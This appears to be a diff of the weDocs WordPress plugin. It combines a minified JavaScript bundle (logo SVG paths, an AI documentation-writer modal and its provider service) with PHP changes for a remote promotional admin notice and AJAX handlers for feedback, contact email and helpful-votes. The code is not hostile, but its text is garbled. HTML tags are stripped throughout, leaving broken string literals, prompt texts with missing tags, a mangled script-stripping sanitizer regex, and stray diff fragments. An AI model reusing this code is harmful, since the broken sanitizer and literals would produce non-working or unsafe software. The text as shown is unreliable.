6.68 -5 6 C-4.67 4.68 -4.34 3.36 -4 2 C-2.68 2 -1.36 2 0 2 C0 1.34 0 0.68 0 0 Z ",fill:"#0B8DD3",transform:"translate(301,135)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0 0.66 0 1 0 C1.17942163 3.94727588 1.09350689 6.5980513 -1 10 C-1.66 10 -2.32 10 -3 10 C-2.39009109 6.44219804 -1.4216319 3.3171411 0 0 Z ",fill:"#4FA4D4",transform:"translate(122,123)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0.33 1.32 0.66 2 1 C2 1.66 2 2.32 2 3 C2.66 3.33 3.32 3.66 4 4 C3.34 5.32 2.68 6.64 2 8 C1.67 7.34 1.34 6.68 1 6 C0.34 6 -0.32 6 -1 6 C-1.33 5.01 -1.66 4.02 -2 3 C-1.34 2.01 -0.68 1.02 0 0 Z ",fill:"#078FDA",transform:"translate(108,81)"}),(0,a.createElement)("path",{d:"M0 0 C3.26460973 1.80412643 4.88929795 2.83394693 7 6 C5.35 6 3.7 6 2 6 C1.34 4.02 0.68 2.04 0 0 Z ",fill:"#54ABD7",transform:"translate(227,54)"}),(0,a.createElement)("path",{d:"M0 0 C4.455 1.98 4.455 1.98 9 4 C6 6 6 6 3.8125 5.625 C3.214375 5.41875 2.61625 5.2125 2 5 C2 4.01 2 3.02 2 2 C1.34 2 0.68 2 0 2 C0 1.34 0 0.68 0 0 Z ",fill:"#45A3D4",transform:"translate(146,398)"}),(0,a.createElement)("path",{d:"M0 0 C1.65 0 3.3 0 5 0 C4.01 0.495 4.01 0.495 3 1 C2.690625 1.639375 2.38125 2.27875 2.0625 2.9375 C1 5 1 5 -2 7 C-1.42415568 4.61435923 -0.77772405 2.33317216 0 0 Z ",fill:"#62AED1",transform:"translate(311,313)"}),(0,a.createElement)("path",{d:"M0 0 C2.97 0.33 5.94 0.66 9 1 C9 2.32 9 3.64 9 5 C5.54074837 3.7508258 2.85306797 2.32472205 0 0 Z ",fill:"#56AED9",transform:"translate(203,61)"}),(0,a.createElement)("path",{d:"M0 0 C2.31 0.33 4.62 0.66 7 1 C7 1.66 7 2.32 7 3 C4.69 3 2.38 3 0 3 C0 2.01 0 1.02 0 0 Z ",fill:"#2892CE",transform:"translate(186,36)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0.33 1.98 0.66 3 1 C3 1.66 3 2.32 3 3 C3.66 3 4.32 3 5 3 C4.67 3.66 4.34 4.32 4 5 C1.9375 5.625 1.9375 5.625 0 6 C-1.24546405 3.50907189 -0.7767578 2.58919267 0 0 Z ",fill:"#429ED6",transform:"translate(139,392)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0 1.32 0 2 0 C1.34 1.65 0.68 3.3 0 5 C0.66 5.66 1.32 6.32 2 7 C0.68 7 -0.64 7 -2 7 C-1.125 1.125 -1.125 1.125 0 0 Z ",fill:"#2C94C8",transform:"translate(233,355)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0 1.32 0 2 0 C1.65120368 3.25543229 0.97866739 4.01873107 -1.5625 6.25 C-2.366875 6.8275 -3.17125 7.405 -4 8 C-3.6875 6.0625 -3.6875 6.0625 -3 4 C-2.01 3.67 -1.02 3.34 0 3 C0 2.01 0 1.02 0 0 Z ",fill:"#53ADD1",transform:"translate(292,333)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0 1.98 0 3 0 C2.67 1.65 2.34 3.3 2 5 C1.01 5.33 0.02 5.66 -1 6 C-1.042721 4.33388095 -1.04063832 2.66617115 -1 1 C-0.67 0.67 -0.34 0.34 0 0 Z ",fill:"#3BA1D6",transform:"translate(340,283)"}),(0,a.createElement)("path",{d:"M0 0 C2.62187494 1.04874998 3.79371361 1.64931313 5.25 4.125 C5.4975 4.74375 5.745 5.3625 6 6 C4.35 5.67 2.7 5.34 1 5 C0.67 3.35 0.34 1.7 0 0 Z ",fill:"#4FACDA",transform:"translate(392,233)"}),(0,a.createElement)("path",{d:"M0 0 C-0.33 2.97 -0.66 5.94 -1 9 C-3.1519437 5.77208445 -3.20086443 4.71599191 -3 1 C-1 0 -1 0 0 0 Z ",fill:"#459ACD",transform:"translate(304,129)"}),(0,a.createElement)("path",{d:"M0 0 C-2.3125 1.5625 -2.3125 1.5625 -5 3 C-5.99 2.67 -6.98 2.34 -8 2 C-8 1.34 -8 0.68 -8 0 C-4.71303767 -0.79953138 -3.28976808 -1.09658936 0 0 Z ",fill:"#50A8D3",transform:"translate(345,413)"}),(0,a.createElement)("path",{d:"M0 0 C-1 3 -1 3 -4.0625 4.6875 C-5.031875 5.120625 -6.00125 5.55375 -7 6 C-6.1875 3.5625 -6.1875 3.5625 -5 1 C-2 0 -2 0 0 0 Z ",fill:"#369CD1",transform:"translate(366,280)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0 1.98 0 3 0 C3 2.31 3 4.62 3 7 C1.5 5.75 1.5 5.75 0 4 C0 2.68 0 1.36 0 0 Z ",fill:"#2394CB",transform:"translate(99,266)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 1.32 0.66 2.64 1 4 C-2.75 7 -2.75 7 -5 7 C-5 6.34 -5 5.68 -5 5 C-4.34 5 -3.68 5 -3 5 C-3 4.34 -3 3.68 -3 3 C-2.34 3 -1.68 3 -1 3 C-0.67 2.01 -0.34 1.02 0 0 Z ",fill:"#64A9CE",transform:"translate(309,245)"}),(0,a.createElement)("path",{d:"M0 0 C3.37503669 1.1858237 5.64722731 2.27573689 8 5 C5.6875 5.3125 5.6875 5.3125 3 5 C1.1875 2.5 1.1875 2.5 0 0 Z ",fill:"#50A9D8",transform:"translate(386,188)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0 1.98 0 3 0 C3.66 1.98 4.32 3.96 5 6 C4.01 6 3.02 6 2 6 C0 3 0 3 0 0 Z ",fill:"#3B96CA",transform:"translate(272,144)"}),(0,a.createElement)("path",{d:"M0 0 C1.80411967 2.75924185 2.0127245 3.88972103 1.625 7.25 C1.41875 8.1575 1.2125 9.065 1 10 C-0.80411967 7.24075815 -1.0127245 6.11027897 -0.625 2.75 C-0.41875 1.8425 -0.2125 0.935 0 0 Z ",fill:"#399DD7",transform:"translate(360,109)"}),(0,a.createElement)("path",{d:"M0 0 C4.75 0.75 4.75 0.75 7 3 C6.67 3.99 6.34 4.98 6 6 C3.97945196 4.35830472 1.97956942 2.69088222 0 1 C0 0.67 0 0.34 0 0 Z ",fill:"#469DD2",transform:"translate(213,67)"}))},609:C=>{C.exports=window.React}},e={};function t(a){var r=e[a];if(void 0!==r)return r.exports;var n=e[a]={exports:{}};return C[a](n,n.exports,t),n.exports}t.n=C=>{var e=C&&C.__esModule?()=>C.default:()=>C;return t.d(e,{a:e}),e},t.d=(C,e)=>{for(var a in e)t.o(e,a)&&!t.o(C,a)&&Object.defineProperty(C,a,{enumerable:!0,get:e[a]})},t.o=(C,e)=>Object.prototype.hasOwnProperty.call(C,e);const a=window.wp.plugins;var r=t(533),n=t(609);const l=window.wp.i18n,s=window.wp.element,o=window.wp.data,i=window.wp.editor,c=window.wp.coreData,m=window.wp.components,d=window.wp.editPost,p=window.wp.blockEditor,f=window.wp.blocks,h=({content:C,onAccept:e,onReject:t,onClose:a})=>(0,n.createElement)(m.__experimentalVStack,{spacing:4},(0,n.createElement)(m.Card,null,(0,n.createElement)(m.CardBody,null,(0,n.createElement)("div",{dangerouslySetInnerHTML:{__html:C},style:{border:"1px solid #ddd",padding:"16px",borderRadius:"4px",backgroundColor:"#f9f9f9",maxHeight:"400px",overflowY:"auto"}}))),(0,n.createElement)(m.Notice,{status:"info",isDismissible:!1},(0,l.__)("The content above is formatted with HTML tags. When inserted, it will be properly formatted in your document.","wedocs")),(0,n.createElement)(m.__experimentalHStack,{justify:"flex-end",spacing:2},(0,n.createElement)(m.Button,{variant:"tertiary",onClick:a},(0,l.__)("Cancel","wedocs")),(0,n.createElement)(m.Button,{variant:"secondary",onClick:t},(0,l.__)("Reject & Try Again","wedocs")),(0,n.createElement)(m.Button,{variant:"primary",onClick:e},(0,l.__)("Accept & Insert","wedocs")))),E=new class{constructor(){this.providers=window.weDocsEditorVars?.aiProviderConfigs||{},this.providers=wp.hooks.applyFilters("wedocs_ai_service_providers",this.providers)}async getAiSettings(){try{const C=await fetch("/wp-json/wp/v2/docs/settings?data=wedocs_settings"),e=await C.json();return e?.ai||this.getDefaultAiSettings()}catch(C){return this.getDefaultAiSettings()}}getDefaultAiSettings(){const C={};return Object.keys(this.providers).forEach((e=>{const t=this.providers[e],a=Object.keys(t.models),r=a[0];C[e]={api_key:"",models:a,selected_model:r}})),{default_provider:"openai",providers:C}}async testApiConnection(C,e,t=null){try{if(!this.providers[C])throw new Error((0,l.__)("Invalid provider specified","wedocs"));if(!e)throw new Error((0,l.__)("API key is required","wedocs"));const a=this.getTestPayload(C),r=await this.makeApiCall(C,e,t,a);return{success:!0,message:(0,l.__)("API connection successful","wedocs"),response:r}}catch(C){return{success:!1,message:C.message||(0,l.__)("API connection failed","wedocs"),error:C}}}async generateContent(C,e={}){try{const t=await this.getAiSettings(),{provider:a=t.default_provider,model:r=null,feature:n="ai_doc_writer"}=e,s=t.providers[a];if(!s)throw new Error((0,l.__)("AI provider not configured","wedocs"));const o=r||s.selected_model,i="/wp-json/wp/v2/docs/ai/generate",c=window.weDocsEditorVars?.nonce||"",m={prompt:C,provider:a,model:o,maxTokens:e.maxTokens||2e3,temperature:e.temperature||.7,systemPrompt:e.systemPrompt||(0,l.__)("You are a helpful documentation assistant.","wedocs")},d=await fetch(i,{method:"POST",credentials:"include",headers:{"Content-Type":"application/json","X-WP-Nonce":c},body:JSON.stringify(m)});if(!d.ok){let C={},e=(0,l.__)("AI content generation failed. Please try again.","wedocs");try{const t=await d.text();t.trim().startsWith("{")?(C=JSON.parse(t),e=C.message||C.code||e,(e.includes("

")||e.includes("critical error"))&&(e=(0,l.__)("A server error occurred. Please try again or contact support if the problem persists.","wedocs"))):e=500===d.status?(0,l.__)("A server error occurred. Please try again.","wedocs"):403===d.status?(0,l.__)("You do not have permission to perform this action.","wedocs"):(0,l.__)("An error occurred. Please try again.","wedocs")}catch(C){e=500===d.status?(0,l.__)("A server error occurred. Please try again.","wedocs"):(0,l.__)("An error occurred. Please try again.","wedocs")}throw new Error(e)}const p=await d.json();return{content:p.content||"",usage:p.usage||null}}catch(C){throw C}}async listGoogleModels(C){try{const e=`https://generativelanguage.googleapis.com/v1beta/models?key=${C}`,t=await fetch(e,{method:"GET",headers:{"Content-Type":"application/json"}});if(!t.ok){const C=await t.json().catch((()=>({})));throw new Error(C.error?.message||C.message||(0,l.__)("Failed to list Google models","wedocs"))}return await t.json()}catch(C){throw C}}getTestPayload(C){const e={openai:{model:"gpt-3.5-turbo",messages:[{role:"user",content:"Hello"}],max_tokens:10},anthropic:{model:"claude-3-haiku-20240307",max_tokens:10,messages:[{role:"user",content:"Hello"}]},google:{contents:[{parts:[{text:"Hello"}]}]}};return e[C]||e.openai}preparePayload(C,e,t,a={}){const r={openai:{model:e,messages:[{role:"system",content:a.systemPrompt||(0,l.__)("You are a helpful documentation assistant.","wedocs")},{role:"user",content:t}],max_tokens:a.maxTokens||2e3,temperature:a.temperature||.7},anthropic:{model:e,max_tokens:a.maxTokens||2e3,messages:[{role:"user",content:`${a.systemPrompt||(0,l.__)("You are a helpful documentation assistant.","wedocs")}\n\n${t}`}]},google:{contents:[{parts:[{text:`${a.systemPrompt||(0,l.__)("You are a helpful documentation assistant.","wedocs")}\n\n${t}`}]}],generationConfig:{maxOutputTokens:a.maxTokens||2e3,temperature:a.temperature||.7}}};return r[C]||r.openai}async makeApiCall(C,e,t,a,r=null){const n=this.extractOptionsFromPayload(C,a),s=window.weDocsEditorVars?.nonce||"",o=await fetch("/wp-json/wp/v2/docs/ai/generate",{method:"POST",credentials:"include",headers:{"Content-Type":"application/json","X-WP-Nonce":s},body:JSON.stringify({prompt:n.prompt,provider:C,model:r||n.model,maxTokens:n.maxTokens||2e3,temperature:n.temperature||.7,systemPrompt:n.systemPrompt})});if(!o.ok){let C={},e=(0,l.__)("API request failed","wedocs");try{const t=await o.text();t.trim().startsWith("{")?(C=JSON.parse(t),e=C.message||C.code||e):e=`HTTP ${o.status}: ${o.statusText}`}catch(C){e=`HTTP ${o.status}: ${o.statusText}`}throw new Error(e)}return await o.json()}extractOptionsFromPayload(C,e){switch(C){case"openai":return{prompt:e.messages?.find((C=>"user"===C.role))?.content||"",systemPrompt:e.messages?.find((C=>"system"===C.role))?.content||"",model:e.model,maxTokens:e.max_tokens,temperature:e.temperature};case"anthropic":const C=(e.messages?.[0]?.content||"").split("\n\n");return{prompt:C.slice(1).join("\n\n")||C[0]||"",systemPrompt:C[0]||"",model:e.model,maxTokens:e.max_tokens,temperature:e.temperature};case"google":const t=(e.contents?.[0]?.parts?.[0]?.text||"").split("\n\n");return{prompt:t.slice(1).join("\n\n")||t[0]||"",systemPrompt:t[0]||"",model:null,maxTokens:e.generationConfig?.maxOutputTokens,temperature:e.generationConfig?.temperature};default:return{prompt:"",systemPrompt:"",model:null,maxTokens:2e3,temperature:.7}}}parseResponse(C,e){switch(C){case"openai":case"anthropic":return{content:e.content?.[0]?.text||"",usage:e.usage||null};case"google":return{content:e.candidates?.[0]?.content?.parts?.[0]?.text||"",usage:e.usageMetadata||null};default:return{content:"",usage:null}}}getProviderModels(C){return this.providers[C]?.models||{}}validateAiSettings(C){const e=[];return C.default_provider||e.push((0,l.__)("Default provider is required","wedocs")),this.providers[C.default_provider]||e.push((0,l.__)("Invalid default provider","wedocs")),Object.entries(C.providers||{}).forEach((([C,t])=>{t.api_key&&!this.providers[C]&&e.push(`${C}: ${(0,l.__)("Invalid provider","wedocs")}`)})),{isValid:0===e.length,errors:e}}},u=({isOpen:C,onClose:e})=>{const[t,a]=(0,s.useState)(""),[r,c]=(0,s.useState)(""),[d,u]=(0,s.useState)(""),[M,g]=(0,s.useState)(!1),[w,Z]=(0,s.useState)(!0),[D,_]=(0,s.useState)(!1),[A,y]=(0,s.useState)(""),[k,v]=(0,s.useState)(!1),[B,x]=(0,s.useState)(""),{insertBlocks:P,replaceBlocks:b,insertDefaultBlock:T}=(0,o.useDispatch)(p.store),{editPost:S}=(0,o.useDispatch)(i.store),I=(0,o.useSelect)((C=>{const{getCurrentPost:e,getEditedPostContent:t}=C("core/editor"),{getSelectedBlockClientId:a,getBlocks:r,getSelectedBlock:n,getBlockInsertionPoint:l,getBlockOrder:s}=C("core/block-editor");return{post:e(),content:t(),selectedBlockClientId:a(),blocks:r(),selectedBlock:n(),insertionPoint:l(),blockOrder:s()}}),[]),{currentPost:F,selectedBlockId:O,blocks:H,cursorPosition:j}=(0,s.useMemo)((()=>{const C=I.post,e=I.content,t=I.selectedBlockClientId,a=I.blocks||[],r=I.selectedBlock,n=I.insertionPoint,l=I.blockOrder||[];return{currentPost:{id:C?.id||null,title:C?.title||"",contentRaw:e||"",contentRendered:e||""},selectedBlockId:t||null,blocks:a,cursorPosition:{selectedBlock:r,insertionPoint:n,blockOrder:l,hasSelection:!!t,selectedBlockIndex:r?l.indexOf(r.clientId):-1}}}),[I]);(0,s.useEffect)((()=>{F?.title&&!t&&a(F.title)}),[F]),(0,s.useEffect)((()=>{const C=((C,e)=>{if(!C&&!e)return(0,l.__)("Generate documentation using HTML heading tags for the title. Include details on {Documentation Keywords} and wrap all content in

tags. Highlight headings and keywords with .","wedocs");let t=(0,l.__)("Generate documentation using HTML heading tags for '{title}'. Include relevant details on {keywords} in the documentation. Wrap all content in

tags. Highlight headings and keywords with .","wedocs");return t=C?t.replace("{title}",C):t.replace("for '{title}'","for the title"),t=e?t.replace("{keywords}",e):t.replace("Include relevant details on {keywords} in the documentation.","Include relevant details in the documentation."),t})(t,d);c(C)}),[t,d]);const N=()=>{v(!1),y(""),x(""),e()};return(0,n.createElement)(m.Modal,{title:(0,l.__)("weDocs AI Doc Writer","wedocs"),onRequestClose:N,className:"wedocs-ai-doc-writer-modal",size:"large"},k?(0,n.createElement)(h,{content:A,onAccept:()=>{try{const C=(C=>{const e=[],t=(a=C)?a=(a=(a=(a=a.replace(/]*>.*?<\/script>/gi,"")).replace(/href\s*=\s*(["\'])\s*javascript:.*?\1/gi,'href="#"')).replace(/\s+on\w+\s*=\s*(["\'])?[^"\']*\1?/gi,"")).replace(/javascript\s*:/gi,""):a;var a;const r=document.createElement("div");return r.innerHTML=t,Array.from(r.children).forEach((C=>{const t=C.tagName.toLowerCase();switch(t){case"h1":case"h2":case"h3":case"h4":case"h5":case"h6":const a=parseInt(t.charAt(1));e.push((0,f.createBlock)("core/heading",{content:C.innerHTML,level:a}));break;case"p":e.push((0,f.createBlock)("core/paragraph",{content:C.innerHTML}));break;case"ul":case"ol":const r="ul"===t?"ul":"ol",n=Array.from(C.querySelectorAll("li")).map((C=>C.innerHTML));e.push((0,f.createBlock)("core/list",{values:n,ordered:"ol"===r}));break;case"blockquote":e.push((0,f.createBlock)("core/quote",{value:C.innerHTML}));break;default:e.push((0,f.createBlock)("core/html",{content:C.outerHTML}))}})),0===e.length&&e.push((0,f.createBlock)("core/paragraph",{content:C})),e})(A);if(M){const e=H.map((C=>C.clientId)).filter((C=>C));e.length>0?b(e,C):P(C)}else{const e=wp.data.select("core/block-editor").getBlocks(),t=[...e,...C],a=e.map((C=>C.clientId));wp.data.dispatch("core/block-editor").replaceBlocks(a,t)}e()}catch(C){x((0,l.__)("Failed to insert content. Please try again.","wedocs"))}},onReject:()=>{v(!1),y("")},onClose:N}):(0,n.createElement)(m.__experimentalVStack,{spacing:4},(0,n.createElement)(m.Card,null,(0,n.createElement)(m.CardBody,null,(0,n.createElement)(m.__experimentalVStack,{spacing:3},(0,n.createElement)(m.TextControl,{label:(0,l.__)("Documentation Title","wedocs"),value:t,onChange:a,placeholder:(0,l.__)("Enter your documentation title here...","wedocs"),help:(0,l.__)("The title will be used to generate relevant content.","wedocs"),__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,n.createElement)(m.TextControl,{label:(0,l.__)("Keywords","wedocs"),value:d,onChange:u,placeholder:(0,l.__)("Add keywords to guide AI (comma-separated)...","wedocs"),help:(0,l.__)("Enter relevant keywords separated by commas.","wedocs"),__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,n.createElement)(m.TextareaControl,{label:(0,l.__)("AI Instructions","wedocs"),value:r,onChange:c,rows:4,placeholder:(0,l.__)("AI instructions will be auto-generated from title and keywords...","wedocs"),help:(0,l.__)("Instructions are automatically generated from your title and keywords. You can edit them manually if needed.","wedocs"),__nextHasNoMarginBottom:!0}),(0,n.createElement)(m.ToggleControl,{label:(0,l.__)("Use existing post content","wedocs"),checked:w,onChange:Z,help:(0,l.__)("When enabled, the AI will consider your existing post content to maintain consistency and avoid duplication.","wedocs"),__nextHasNoMarginBottom:!0}),(0,n.createElement)(m.ToggleControl,{label:(0,l.__)("Overwrite your existing Doc","wedocs"),checked:M,onChange:g,help:(0,l.__)("When enabled, AI content will replace the entire document. When disabled, content will be inserted at the end of the current contents.","wedocs"),__nextHasNoMarginBottom:!0})))),B&&(0,n.createElement)(m.Notice,{status:"error",isDismissible:!1},B),(0,n.createElement)(m.__experimentalHStack,{justify:"flex-end",spacing:2},(0,n.createElement)(m.Button,{variant:"secondary",onClick:N},(0,l.__)("Cancel","wedocs")),(0,n.createElement)(m.Button,{variant:"primary",onClick:async()=>{if(t.trim())if(d.trim()){x(""),_(!0);try{const e=await E.getAiSettings();if(!e.providers[e.default_provider]?.api_key)return void x((0,l.__)("AI service is not configured. Please set up your AI provider settings in weDocs > Settings > AI Control Settings.","wedocs"));let t=(0,l.__)('You are a professional documentation writer. Generate comprehensive, well-structured documentation content using HTML tags. Use proper heading hierarchy (h2, h3, etc.) and wrap all content in paragraph tags. Highlight important terms with tags. IMPORTANT: Only return the content body without HTML document structure (no , , , - - - 15 ) ); + $promos = wp_remote_retrieve_body( $response ); + + if ( is_wp_error( $response ) || $response['response']['code'] !== 200 ) { + $promos = '[]'; + } + + set_transient( WEDOCS_PROMO_KEY, $promos, DAY_IN_SECONDS ); + } + + $promos = ! is_array( $promos ) ? json_decode( $promos, true ) : $promos; + + if ( empty( $promos ) || ! is_array( $promos ) ) { + return; + } + + $promos['logo_url'] = WEDOCS_LOGO_URL; + + $current_time = wedocs_convert_utc_to_est(); + + if ( + isset( $promos['start_date'] ) + && isset( $promos['end_date'] ) + && strtotime( $promos['start_date'] ) < strtotime( $current_time ) + && strtotime( $current_time ) < strtotime( $promos['end_date'] ) + ) { + // Only show notice on dashboard, weDocs pages, and doc tags page. + $screen = get_current_screen(); + if ( ! $screen || ! in_array( $screen->id, array( 'dashboard', 'toplevel_page_wedocs', 'edit-doc_tag' ), true ) ) { + return; + } + + $this->generate_notice( $promos ); + } + } + + /** + * Show admin notice + * + * @param array $args arguments for notice template. + * + * @return void + */ + public function generate_notice( $args ) { + $option_name = ! empty( $args['key'] ) ? $args['key'] : ''; + $content = ! empty( $args['content'] ) ? $args['content'] : ''; + $title = ! empty( $args['title'] ) ? $args['title'] : ''; + $action_url = ! empty( $args['action_url'] ) ? $args['action_url'] : ''; + $action_title = ! empty( $args['action_title'] ) ? $args['action_title'] : ''; + $hide_notice = get_option( $option_name, 'no' ); + + if ( 'hide' === $hide_notice ) { + return; + } + ?> +

+
+ weDocs Icon +
+
+

+

+ +
+ +
+ + + + 'docs', - 'post_status' => [ 'publish', 'draft', 'pending' ], - 'posts_per_page' => '-1', - 'orderby' => 'menu_order', - 'order' => 'ASC', - ] ); - - // Build a doc tree with separate parents, sections, articles & all docs together. - $docs_tree = [ 'all_docs' => $docs ]; - foreach ( $docs as $doc ) { - $is_parent = $this->is_a_parent_doc( $doc->ID ); - $doc->permalink = get_permalink( $doc->ID ); - if ( $is_parent ) { - // Get parents documentation. - $docs_tree['parents'][] = $doc; - continue; - } - - $is_section = $this->is_a_parent_doc( $doc->post_parent ); - if ( $is_section ) { - // Get sections documentation. - $docs_tree['sections'][] = $doc; - continue; - } - - // Get articles documentation. - $docs_tree['articles'][] = $doc; - } - - wp_send_json_success( $docs_tree ); - } - - /** - * Assume the user rated weDocs. - * - * @return void - */ - public function hide_wedocs_rating() { - check_ajax_referer( 'wedocs-admin-nonce' ); - - update_option( 'wedocs_admin_footer_text_rated', 'yes' ); - wp_send_json_success(); - } - - /** - * Store feedback for an article. - * - * @return void - */ - public function handle_feedback() { - check_ajax_referer( 'wedocs-ajax' ); - - $template = '
%s
'; - $previous = isset( $_COOKIE['wedocs_response'] ) ? explode( ',', $_COOKIE['wedocs_response'] ) : []; - $post_id = intval( $_POST['post_id'] ); - $type = in_array( $_POST['type'], [ 'positive', 'negative' ] ) ? $_POST['type'] : false; - - // check previous response - if ( in_array( $post_id, $previous ) ) { - $message = sprintf( $template, 'danger', __( 'Sorry, we have already recorded your feedback!', 'wedocs' ) ); - wp_send_json_error( $message ); - } - - // seems new - if ( $type ) { - $count = (int) get_post_meta( $post_id, $type, true ); - update_post_meta( $post_id, $type, $count + 1 ); - - array_push( $previous, $post_id ); - $cookie_val = implode( ',', $previous ); - - $val = setcookie( 'wedocs_response', $cookie_val, time() + WEEK_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN ); - } - - $message = sprintf( $template, 'success', __( 'Thanks for your feedback!', 'wedocs' ) ); - wp_send_json_success( $message ); - } - - /** - * Send email feedback. - * - * @return void - */ - public function handle_contact() { - check_ajax_referer( 'wedocs-ajax' ); - - $name = isset( $_POST['name'] ) ? sanitize_text_field( $_POST['name'] ) : ''; - $subject = isset( $_POST['subject'] ) ? sanitize_text_field( $_POST['subject'] ) : ''; - $message = isset( $_POST['message'] ) ? strip_tags( $_POST['message'] ) : ''; - $doc_id = isset( $_POST['doc_id'] ) ? intval( $_POST['doc_id'] ) : 0; - - if ( !is_user_logged_in() ) { - $email = isset( $_POST['email'] ) ? filter_var( $_POST['email'], FILTER_VALIDATE_EMAIL ) : false; - - if ( !$email ) { - wp_send_json_error( __( 'Please enter a valid email address.', 'wedocs' ) ); - } - } else { - $email = wp_get_current_user()->user_email; - } - - if ( empty( $subject ) ) { - wp_send_json_error( __( 'Please provide a subject line.', 'wedocs' ) ); - } - - if ( empty( $message ) ) { - wp_send_json_error( __( 'Please provide the message details.', 'wedocs' ) ); - } - - wedocs_doc_feedback_email( $doc_id, $name, $email, $subject, $message ); - - wp_send_json_success( __( 'Thanks for your feedback.', 'wedocs' ) ); - } - - /** - * Build a tree of docs with parent-child relation. - * - * @param array $docs - * @param int $parent - * - * @return array - */ - public function build_tree( $docs, $parent = 0 ) { - $result = []; - - if ( !$docs ) { - return $result; - } - - $post_type_object = get_post_type_object( 'docs' ); - - foreach ( $docs as $key => $doc ) { - if ( $doc->post_parent == $parent ) { - unset( $docs[ $key ] ); - - // build tree and sort - $child = $this->build_tree( $docs, $doc->ID ); - usort( $child, [ $this, 'sort_callback' ] ); - - $result[] = [ - 'post' => [ - 'id' => $doc->ID, - 'title' => $doc->post_title, - 'status' => $doc->post_status, - 'order' => $doc->menu_order, - 'caps' => [ - 'edit' => current_user_can( $post_type_object->cap->edit_post, $doc->ID ), - 'delete' => current_user_can( $post_type_object->cap->delete_post, $doc->ID ), - ], - ], - 'child' => $child, - ]; - } - } - - return $result; - } - - /** - * Sort callback for sorting posts with their menu order. - * - * @param array $a - * @param array $b - * - * @return int - */ - public function sort_callback( $a, $b ) { - return $a['post']['order'] - $b['post']['order']; - } - - /** - * Hide weDocs pro notice. - * - * @since 2.0.0 - * - * @return void - */ - public function hide_pro_notice() { - check_ajax_referer( 'wedocs-admin-nonce', 'nonce' ); - - $user_id = get_current_user_id(); - update_user_meta( $user_id, 'wedocs_hide_pro_notice', true ); - - wp_send_json_success(); - } - - /** - * Check this documentation is parent. - * - * @since 2.0.2 - * - * @param int $doc_id - * - * @return bool - */ - public function is_a_parent_doc( $doc_id ) { - return (int) wp_get_post_parent_id( $doc_id ) === 0; - } - - /** - * Handle helpful feedback voting. - * - * @since 2.1.0 - * - * @return void - */ - public function handle_helpful_feedback_vote() { - // Verify nonce for security - if ( ! wp_verify_nonce( $_POST['nonce'] ?? '', 'wedocs_helpful_feedback_nonce' ) ) { - wp_send_json_error( [ - 'message' => __( 'Security verification failed.', 'wedocs' ) - ] ); - } - - // Validate required fields - $post_id = intval( $_POST['post_id'] ?? 0 ); - $vote = sanitize_text_field( $_POST['vote'] ?? '' ); - $allow_anonymous = filter_var( $_POST['allow_anonymous'] ?? true, FILTER_VALIDATE_BOOLEAN ); - - if ( ! $post_id || ! in_array( $vote, [ 'yes', 'no' ] ) ) { - wp_send_json_error( [ - 'message' => __( 'Invalid voting data.', 'wedocs' ) - ] ); - } - - // Verify this is a docs post - if ( get_post_type( $post_id ) !== 'docs' ) { - wp_send_json_error( [ - 'message' => __( 'Invalid post type.', 'wedocs' ) - ] ); - } - - // Get current user ID and IP - $user_id = get_current_user_id(); - $user_ip = $_SERVER['REMOTE_ADDR'] ?? ''; - - // Check if user can vote - if ( ! $user_id && ! $allow_anonymous ) { - wp_send_json_error( [ - 'message' => __( 'You must be logged in to vote.', 'wedocs' ) - ] ); - } - - // Check if user has already voted - $has_voted = false; - - // Check cookie-based tracking (for compatibility with existing system) - $previous = isset( $_COOKIE['wedocs_response'] ) ? explode( ',', $_COOKIE['wedocs_response'] ) : []; - if ( in_array( $post_id, $previous ) ) { - $has_voted = true; - } - - // Check user-specific voting records - if ( ! $has_voted && $user_id ) { - // Check by user ID - $user_vote = get_post_meta( $post_id, "wedocs_helpful_vote_user_{$user_id}", true ); - if ( $user_vote ) { - $has_voted = true; - } - } elseif ( ! $has_voted && $allow_anonymous && $user_ip ) { - // Check by IP for anonymous users - $ip_vote = get_post_meta( $post_id, "wedocs_helpful_vote_ip_" . md5( $user_ip ), true ); - if ( $ip_vote ) { - $has_voted = true; - } - } - - if ( $has_voted ) { - wp_send_json_error( [ - 'message' => __( 'You have already voted on this article.', 'wedocs' ) - ] ); - } - - // Record the vote - $vote_meta_key = $vote === 'yes' ? 'positive' : 'negative'; - $current_votes = (int) get_post_meta( $post_id, $vote_meta_key, true ); - update_post_meta( $post_id, $vote_meta_key, $current_votes + 1 ); - - // Record user vote to prevent duplicate voting - if ( $user_id ) { - update_post_meta( $post_id, "wedocs_helpful_vote_user_{$user_id}", $vote ); - } elseif ( $allow_anonymous && $user_ip ) { - update_post_meta( $post_id, "wedocs_helpful_vote_ip_" . md5( $user_ip ), $vote ); - } - - // Also update cookie-based tracking for compatibility with existing system - $previous = isset( $_COOKIE['wedocs_response'] ) ? explode( ',', $_COOKIE['wedocs_response'] ) : []; - array_push( $previous, $post_id ); - $cookie_val = implode( ',', $previous ); - setcookie( 'wedocs_response', $cookie_val, time() + WEEK_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN ); - - // Get updated vote counts - $yes_votes = (int) get_post_meta( $post_id, 'positive', true ); - $no_votes = (int) get_post_meta( $post_id, 'negative', true ); - - // Fire action hook for extensibility - do_action( 'wedocs_helpful_feedback_voted', $post_id, $vote, $user_id, $user_ip ); - - // Return success response - wp_send_json_success( [ - 'vote' => $vote, - 'yes_votes' => $yes_votes, - 'no_votes' => $no_votes, - 'message' => __( 'Thank you for your feedback!', 'wedocs' ) - ] ); - } -} + 'docs', + 'post_status' => [ 'publish', 'draft', 'pending' ], + 'posts_per_page' => '-1', + 'orderby' => 'menu_order', + 'order' => 'ASC', + ] ); + + // Build a doc tree with separate parents, sections, articles & all docs together. + $docs_tree = [ 'all_docs' => $docs ]; + foreach ( $docs as $doc ) { + $is_parent = $this->is_a_parent_doc( $doc->ID ); + $doc->permalink = get_permalink( $doc->ID ); + if ( $is_parent ) { 